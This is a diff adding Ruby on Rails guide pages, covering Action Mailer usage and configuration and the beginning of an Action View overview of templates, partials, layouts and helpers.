+Sometimes you wish to show the name of the person instead of just their email
+address when they receive the email. The trick to doing that is to format the
+email address in the format `"Full Name <email>"`.
+
+```ruby
+def welcome_email(user)
+ @user = user
+ email_with_name = "#{@user.name} <#{@user.email}>"
+ mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+```
+
+### Mailer Views
+
+Mailer views are located in the `app/views/name_of_mailer_class` directory. The
+specific mailer view is known to the class because its name is the same as the
+mailer method. In our example from above, our mailer view for the
+`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb`
+for the HTML version and `welcome_email.text.erb` for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications at example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: @user.email,
+ subject: 'Welcome to My Awesome Site',
+ template_path: 'notifications',
+ template_name: 'another')
+ end
+end
+```
+
+In this case it will look for templates at `app/views/notifications` with name
+`another`. You can also specify an array of paths for `template_path`, and they
+will be searched in order.
+
+If you want more flexibility you can also pass a block and render specific
+templates or even render inline or text without using a template file:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications at example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: @user.email,
+ subject: 'Welcome to My Awesome Site') do |format|
+ format.html { render 'another_template' }
+ format.text { render text: 'Render text' }
+ end
+ end
+end
+```
+
+This will render the template 'another_template.html.erb' for the HTML part and
+use the rendered text for the text part. The render command is the same one used
+inside of Action Controller, so you can use all the same options, such as
+`:text`, `:inline` etc.
+
+### Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name
+needs to be the same as your mailer, such as `user_mailer.html.erb` and
+`user_mailer.text.erb` to be automatically recognized by your mailer as a
+layout.
+
+In order to use a different file, call `layout` in your mailer:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+```
+
+Just like with controller views, use `yield` to render the view inside the
+layout.
+
+You can also pass in a `layout: 'layout_name'` option to the render call inside
+the format block to specify different layouts for different actions:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ mail(to: user.email) do |format|
+ format.html { render layout: 'my_layout' }
+ format.text
+ end
+ end
+end
+```
+
+Will render the HTML part using the `my_layout.html.erb` file and the text part
+with the usual `user_mailer.text.erb` file if it exists.
+
+### Generating URLs in Action Mailer Views
+
+Unlike controllers, the mailer instance doesn't have any context about the
+incoming request so you'll need to provide the `:host` parameter yourself.
+
+As the `:host` usually is consistent across the application you can configure it
+globally in `config/application.rb`:
+
+```ruby
+config.action_mailer.default_url_options = { host: 'example.com' }
+```
+
+#### generating URLs with `url_for`
+
+You need to pass the `only_path: false` option when using `url_for`. This will
+ensure that absolute URLs are generated because the `url_for` view helper will,
+by default, generate relative URLs when a `:host` option isn't explicitly
+provided.
+
+```erb
+<%= url_for(controller: 'welcome',
+ action: 'greeting',
+ only_path: false) %>
+```
+
+If you did not configure the `:host` option globally make sure to pass it to
+`url_for`.
+
+
+```erb
+<%= url_for(host: 'example.com',
+ controller: 'welcome',
+ action: 'greeting') %>
+```
+
+NOTE: When you explicitly pass the `:host` Rails will always generate absolute
+URLs, so there is no need to pass `only_path: false`.
+
+#### generating URLs with named routes
+
+Email clients have no web context and so paths have no base URL to form complete
+web addresses. Thus, you should always use the "_url" variant of named route
+helpers.
+
+If you did not configure the `:host` option globally make sure to pass it to the
+url helper.
+
+```erb
+<%= user_url(@user, host: 'example.com') %>
+```
+
+### Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different
+templates for the same action. So, for our UserMailer example, if you have
+`welcome_email.text.erb` and `welcome_email.html.erb` in
+`app/views/user_mailer`, Action Mailer will automatically send a multipart email
+with the HTML and text versions setup as different parts.
+
+The order of the parts getting inserted is determined by the `:parts_order`
+inside of the `ActionMailer::Base.default` method.
+
+### Sending Emails with Attachments
+
+Attachments can be added by using the `attachments` method:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ @user = user
+ @url = user_url(@user)
+ attachments['terms.pdf'] = File.read('/path/terms.pdf')
+ mail(to: @user.email,
+ subject: 'Please see the Terms and Conditions attached')
+ end
+end
+```
+
+The above will send a multipart email with an attachment, properly nested with
+the top level being `multipart/mixed` and the first part being a
+`multipart/alternative` containing the plain text and HTML email messages.
+
+### Sending Emails with Dynamic Delivery Options
+
+If you wish to override the default delivery options (e.g. SMTP credentials)
+while delivering emails, you can do this using `delivery_method_options` in the
+mailer action.
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user, company)
+ @user = user
+ @url = user_url(@user)
+ delivery_options = { user_name: company.smtp_user,
+ password: company.smtp_password,
+ address: company.smtp_host }
+ mail(to: @user.email,
+ subject: "Please see the Terms and Conditions attached",
+ delivery_method_options: delivery_options)
+ end
+end
+```
+
+### Sending Emails without Template Rendering
+
+There may be cases in which you want to skip the template rendering step and
+supply the email body as a string. You can achieve this using the `:body`
+option. In such cases don't forget to add the `:content_type` option. Rails
+will default to `text/plain` otherwise.
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user, email_body)
+ mail(to: user.email,
+ body: email_body,
+ content_type: "text/html",
+ subject: "Already rendered!")
+ end
+end
+```
+
+Receiving Emails
+----------------
+
+Receiving and parsing emails with Action Mailer can be a rather complex
+endeavor. Before your email reaches your Rails app, you would have had to
+configure your system to somehow forward emails to your app, which needs to be
+listening for that. So, to receive emails in your Rails app you'll need to:
+
+* Implement a `receive` method in your mailer.
+
+* Configure your email server to forward emails from the address(es) you would
+ like your app to receive to `/path/to/app/bin/rails runner
+ 'UserMailer.receive(STDIN.read)'`.
+
+Once a method called `receive` is defined in any mailer, Action Mailer will
+parse the raw incoming email into an email object, decode it, instantiate a new
+mailer, and pass the email object to the mailer `receive` instance
+method. Here's an example:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def receive(email)
+ page = Page.find_by_address(email.to.first)
+ page.emails.create(
+ subject: email.subject,
+ body: email.body
+ )
+
+ if email.has_attachments?
+ email.attachments.each do |attachment|
+ page.attachments.create({
+ file: attachment,
+ description: email.subject
+ })
+ end
+ end
+ end
+end
+```
+
+Action Mailer Callbacks
+---------------------------
+
+Action Mailer allows for you to specify a `before_action`, `after_action` and
+`around_action`.
+
+* Filters can be specified with a block or a symbol to a method in the mailer
+ class similar to controllers.
+
+* You could use a `before_action` to populate the mail object with defaults,
+ delivery_method_options or insert default headers and attachments.
+
+* You could use an `after_action` to do similar setup as a `before_action` but
+ using instance variables set in your mailer action.
+
+```ruby
+class UserMailer < ActionMailer::Base
+ after_action :set_delivery_options,
+ :prevent_delivery_to_guests,
+ :set_business_headers
+
+ def feedback_message(business, user)
+ @business = business
+ @user = user
+ mail
+ end
+
+ def campaign_message(business, user)
+ @business = business
+ @user = user
+ end
+
+ private
+
+ def set_delivery_options
+ # You have access to the mail instance,
+ # @business and @user instance variables here
+ if @business && @business.has_smtp_settings?
+ mail.delivery_method.settings.merge!(@business.smtp_settings)
+ end
+ end
+
+ def prevent_delivery_to_guests
+ if @user && @user.guest?
+ mail.perform_deliveries = false
+ end
+ end
+
+ def set_business_headers
+ if @business
+ headers["X-SMTPAPI-CATEGORY"] = @business.code
+ end
+ end
+end
+```
+
+* Mailer Filters abort further processing if body is set to a non-nil value.
+
+Using Action Mailer Helpers
+---------------------------
+
+Action Mailer now just inherits from `AbstractController`, so you have access to
+the same generic helpers as you do in Action Controller.
+
+Action Mailer Configuration
+---------------------------
+
+The following configuration options are best made in one of the environment
+files (environment.rb, production.rb, etc...)
+
+| Configuration | Description |
+|---------------|-------------|
+|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
+|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - [...]
+|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>|
+|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
+|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.|
+|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
+
+For a complete writeup of possible configurations see the
+[Action Mailer section](configuring.html#configuring-action-mailer) in
+our Configuring Rails Applications guide.
+
+### Example Action Mailer Configuration
+
+An example would be adding the following to your appropriate
+`config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+# location: '/usr/sbin/sendmail',
+# arguments: '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-replay at example.com'}
+```
+
+### Action Mailer Configuration for Gmail
+
+As Action Mailer now uses the Mail gem, this becomes as simple as adding to your
+`config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+ address: 'smtp.gmail.com',
+ port: 587,
+ domain: 'example.com',
+ user_name: '<username>',
+ password: '<password>',
+ authentication: 'plain',
+ enable_starttls_auto: true }
+```
+
+Mailer Testing
+--------------
+
+You can find detailed instructions on how to test your mailers in the
+[testing guide](testing.html#testing-your-mailers).
+
+Intercepting Emails
+-------------------
+There are situations where you need to edit an email before it's
+delivered. Fortunately Action Mailer provides hooks to intercept every
+email. You can register an interceptor to make modifications to mail messages
+right before they are handed to the delivery agents.
+
+```ruby
+class SandboxEmailInterceptor
+ def self.delivering_email(message)
+ message.to = ['sandbox at example.com']
+ end
+end
+```
+
+Before the interceptor can do its job you need to register it with the Action
+Mailer framework. You can do this in an initializer file
+`config/initializers/sandbox_email_interceptor.rb`
+
+```ruby
+ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging?
+```
+
+NOTE: The example above uses a custom environment called "staging" for a
+production like server but for testing purposes. You can read
+[Creating Rails environments](./configuring.html#creating-rails-environments)
+for more information about custom Rails environments.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
new file mode 100644
index 0000000..dea1dde
--- /dev/null
+++ b/guides/source/action_view_overview.md
@@ -0,0 +1,1560 @@
+Action View Overview
+====================
+
+After reading this guide, you will know:
+
+* What Action View is and how to use it with Rails.
+* How best to use templates, partials, and layouts.
+* What helpers are provided by Action View and how to make your own.
+* How to use localized views.
+* How to use Action View outside of Rails.
+
+--------------------------------------------------------------------------------
+
+What is Action View?
+--------------------
+
+Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
+
+Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
+
+NOTE: Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.
+
+Using Action View with Rails
+----------------------------
+
+For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
+
+Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
+
+```bash
+$ rails generate scaffold post
+ [...]
+ invoke scaffold_controller
+ create app/controllers/posts_controller.rb
+ invoke erb
+ create app/views/posts
+ create app/views/posts/index.html.erb
+ create app/views/posts/edit.html.erb
+ create app/views/posts/show.html.erb
+ create app/views/posts/new.html.erb
+ create app/views/posts/_form.html.erb
+ [...]
+```
+
+There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
+For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory.
+The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of these three components.
+
+
+Templates, Partials and Layouts
+-------------------------------
+
+As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
+Below is a brief overview of each one of them.
+
+### Templates
+
+Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used.
+
+Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
+
+#### ERB
+
+Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output.
+
+Consider the following loop for names:
+
+```html+erb
+<h1>Names of all the people</h1>
+<% @people.each do |person| %>
+ Name: <%= person.name %><br/>
+<% end %>
+```
+
+The loop is set up in regular embedding tags (`<% %>`) and the name is written using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion, for regular output functions like `print` or `puts` won't work with ERB templates. So this would be wrong:
+
+```html+erb
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+```
+
+To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`.
+
+#### Builder
+
+Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension.
+
+Here are some basic examples:
+
+```ruby
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href" => "http://rubyonrails.org")
+xml.target("name" => "compile", "option" => "fast")
+```
+
+which would produce:
+
+```html
+<em>emphasized</em>
+<em><b>emph & bold</b></em>
+<a href="http://rubyonrails.org">A link</a>
+<target option="fast" name="compile" />
+```
+
+Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+
+```ruby
+xml.div {
+ xml.h1(@person.name)
+ xml.p(@person.bio)
+}
+```
+
+would produce something like:
+
+```html
+<div>
+ <h1>David Heinemeier Hansson</h1>
+ <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+```
+
+Below is a full-length RSS example actually used on Basecamp:
+
+```ruby
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+ xml.channel do
+ xml.title(@feed_title)
+ xml.link(@url)
+ xml.description "Basecamp: Recent items"
+ xml.language "en-us"
+ xml.ttl "40"
+
+ for item in @recent_items
+ xml.item do
+ xml.title(item_title(item))
+ xml.description(item_description(item)) if item_description(item)
+ xml.pubDate(item_pubDate(item))
+ xml.guid(@person.firm.account.url + @recent_items.url(item))
+ xml.link(@person.firm.account.url + @recent_items.url(item))
+ xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+ end
+ end
+ end
+end
+```
+
+#### Template Caching
+
+By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
+
+### Partials
+
+Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```erb
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```erb
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:
+
+```html+erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+ <%= render partial: "product", locals: {product: product} %>
+<% end %>
+
+<%= render "shared/footer" %>
+```
+
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+#### The `as` and `object` options
+
+By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given:
+
+```erb
+<%= render partial: "product" %>
+```
+
+within product we'll get `@product` in the local variable `product`, as if we had written:
+
+```erb
+<%= render partial: "product", locals: {product: @product} %>
+```
+
+With the `as` option we can specify a different name for the local variable. For example, if we wanted it to be `item` instead of `product` we would do:
+
+```erb
+<%= render partial: "product", as: "item" %>
+```
+
+The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (eg. in a different instance variable or in a local variable).
+
+For example, instead of:
+
+```erb
+<%= render partial: "product", locals: {product: @item} %>
+```
+
+we would do:
+
+```erb
+<%= render partial: "product", object: @item %>
+```
+
+The `object` and `as` options can also be used together:
+
+```erb
+<%= render partial: "product", object: @item, as: "item" %>
+```
+
+#### Rendering Collections
+
+It is very common that a template needs to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
+
+So this example for rendering all the products:
+
+```erb
+<% @products.each do |product| %>
+ <%= render partial: "product", locals: { product: product } %>
+<% end %>
+```
+
+can be rewritten in a single line:
+
+```erb
+<%= render partial: "product", collection: @products %>
+```
+
+When a partial is called like this (eg. with a collection), the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the instance that is being rendered.
+
+You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result:
+
+```erb
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
+
+#### Spacer Templates
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+```erb
+<%= render @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
+
+### Layouts
+
+Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigat [...]
+
+Partial Layouts
+---------------
+
+Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
+
+Let's say we're displaying a post on a page, that should be wrapped in a `div` for display purposes. First, we'll create a new `Post`:
+
+```ruby
+Post.create(body: 'Partial Layouts are cool!')
+```
+
+In the `show` template, we'll render the `_post` partial wrapped in the `box` layout:
+
+**posts/show.html.erb**
+
+```erb
+<%= render partial: 'post', layout: 'box', locals: {post: @post} %>
+```
+
+The `box` layout simply wraps the `_post` partial in a `div`:
+
+**posts/_box.html.erb**
+
+```html+erb
+<div class='box'>
+ <%= yield %>
+</div>
+```
+
+The `_post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper:
+
+**posts/_post.html.erb**
+
+```html+erb
+<%= div_for(post) do %>
+ <p><%= post.body %></p>
+<% end %>
+```
+
+this would output the following:
+
+```html
+<div class='box'>
+ <div id='post_1'>
+ <p>Partial Layouts are cool!</p>
+ </div>
+</div>
+```
+
+Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+
+You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_post` partial, we could do this instead:
+
+**posts/show.html.erb**
+
+```html+erb
+<% render(layout: 'box', locals: {post: @post}) do %>
+ <%= div_for(post) do %>
+ <p><%= post.body %></p>
+ <% end %>
+<% end %>
+```
+
+Supposing we use the same `_box` partial from above, this would produce the same output as the previous example.
+
+View Paths
+----------
+
+TODO...
+
+Overview of helpers provided by Action View
+-------------------------------------------
+
+WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html)
+
+The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point.
+
+### RecordTagHelper
+
+This module provides methods for generating container tags, such as `div`, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
+
+#### content_tag_for
+
+Renders a container tag that relates to your Active Record Object.
+
+For example, given `@post` is the object of `Post` class, you can do:
+
+```html+erb
+<%= content_tag_for(:tr, @post) do %>
+ <td><%= @post.title %></td>
+<% end %>
+```
+
+This will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post">
+ <td>Hello World!</td>
+</tr>
+```
+
+You can also supply HTML attributes as an additional option hash. For example:
+
+```html+erb
+<%= content_tag_for(:tr, @post, class: "frontpage") do %>
+ <td><%= @post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post frontpage">
+ <td>Hello World!</td>
+</tr>
+```
+
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects:
+
+```html+erb
+<%= content_tag_for(:tr, @posts) do |post| %>
+ <td><%= post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post">
+ <td>Hello World!</td>
+</tr>
+<tr id="post_1235" class="post">
+ <td>Ruby on Rails Rocks!</td>
+</tr>
+```
+
+#### div_for
+
+This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example:
+
+```html+erb
+<%= div_for(@post, class: "frontpage") do %>
+ <td><%= @post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<div id="post_1234" class="post frontpage">
+ <td>Hello World!</td>
+</div>
+```
+
+### AssetTagHelper
+
+This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
+
+By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`:
+
+```ruby
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+```
+
+#### register_javascript_expansion
+
+Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in `vendor/assets/javascripts`.
+
+```ruby
+ActionView::Helpers::AssetTagHelper.register_javascript_expansion monkey: ["head", "body", "tail"]
+
+javascript_include_tag :monkey # =>
+ <script src="/assets/head.js"></script>
+ <script src="/assets/body.js"></script>
+ <script src="/assets/tail.js"></script>
+```
+
+#### register_stylesheet_expansion
+
+Register one or more stylesheet files to be included when symbol is passed to `stylesheet_link_tag`. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in `vendor/assets/stylesheets`.
+
+```ruby
+ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion monkey: ["head", "body", "tail"]
+
+stylesheet_link_tag :monkey # =>
+ <link href="/assets/head.css" media="screen" rel="stylesheet" />
+ <link href="/assets/body.css" media="screen" rel="stylesheet" />
+ <link href="/assets/tail.css" media="screen" rel="stylesheet" />
+```
+
+#### auto_discovery_link_tag
+
+Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+
+```ruby
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
+ <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
+```
+
+#### image_path
+
+Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path.
+
+```ruby
+image_path("edit.png") # => /assets/edit.png
+```
+
+Fingerprint will be added to the filename if config.assets.digest is set to true.
+
+```ruby
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+```
+
+#### image_url
+
+Computes the url to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
+
+```ruby
+image_url("edit.png") # => http://www.example.com/assets/edit.png
+```
+
+#### image_tag
+
+Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
+
+```ruby
+image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
+```
+
+#### javascript_include_tag
+
+Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
+
+```ruby
+javascript_include_tag "common" # => <script src="/assets/common.js"></script>
+```
+
+If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well.
+
+```ruby
+javascript_include_tag :defaults
+```
+
+You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source.
+
+```ruby
+javascript_include_tag :all
+```
+
+You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+```ruby
+javascript_include_tag :all, cache: true # =>
+ <script src="/javascripts/all.js"></script>
+```
+
+#### javascript_path
+
+Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path.
+
+```ruby
+javascript_path "common" # => /assets/common.js
+```
+
+#### javascript_url
+
+Computes the url to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host.
+
+```ruby
+javascript_url "common" # => http://www.example.com/assets/common.js
+```
+
+#### stylesheet_link_tag
+
+Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically.
+
+```ruby
+stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
+```
+
+You can also include all styles in the stylesheet directory using :all as the source:
+
+```ruby
+stylesheet_link_tag :all
+```
+
+You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+```ruby
+stylesheet_link_tag :all, cache: true
+# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
+```
+
+#### stylesheet_path
+
+Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+
+```ruby
+stylesheet_path "application" # => /assets/application.css
+```
+
+#### stylesheet_url
+
+Computes the url to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host.
+
+```ruby
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+```
+
+### AtomFeedHelper
+
+#### atom_feed
+
+This helper makes building an Atom feed easy. Here's a full usage example:
+
+**config/routes.rb**
+
+```ruby
+resources :posts
+```
+
+**app/controllers/posts_controller.rb**
+
+```ruby
+def index
+ @posts = Post.all
+
+ respond_to do |format|
+ format.html
+ format.atom
+ end
+end
+```
+
+**app/views/posts/index.atom.builder**
+
+```ruby
+atom_feed do |feed|
+ feed.title("Posts Index")
+ feed.updated((@posts.first.created_at))
+
+ @posts.each do |post|
+ feed.entry(post) do |entry|
+ entry.title(post.title)
+ entry.content(post.body, type: 'html')
+
+ entry.author do |author|
+ author.name(post.author_name)
+ end
+ end
+ end
+end
+```
+
+### BenchmarkHelper
+
+#### benchmark
+
+Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
+
+```html+erb
+<% benchmark "Process data files" do %>
+ <%= expensive_files_operation %>
+<% end %>
+```
+
+This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
+
+### CacheHelper
+
+#### cache
+
+A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `ActionController::Caching::Fragments` for more information.
+
+```erb
+<% cache do %>
+ <%= render "shared/footer" %>
+<% end %>
+```
+
+### CaptureHelper
+
+#### capture
+
+The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
+
+```html+erb
+<% @greeting = capture do %>
+ <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+```
+
+The captured variable can then be used anywhere else.
+
+```html+erb
+<html>
+ <head>
+ <title>Welcome!</title>
+ </head>
+ <body>
+ <%= @greeting %>
+ </body>
+</html>
+```
+
+#### content_for
+
+Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`.
+
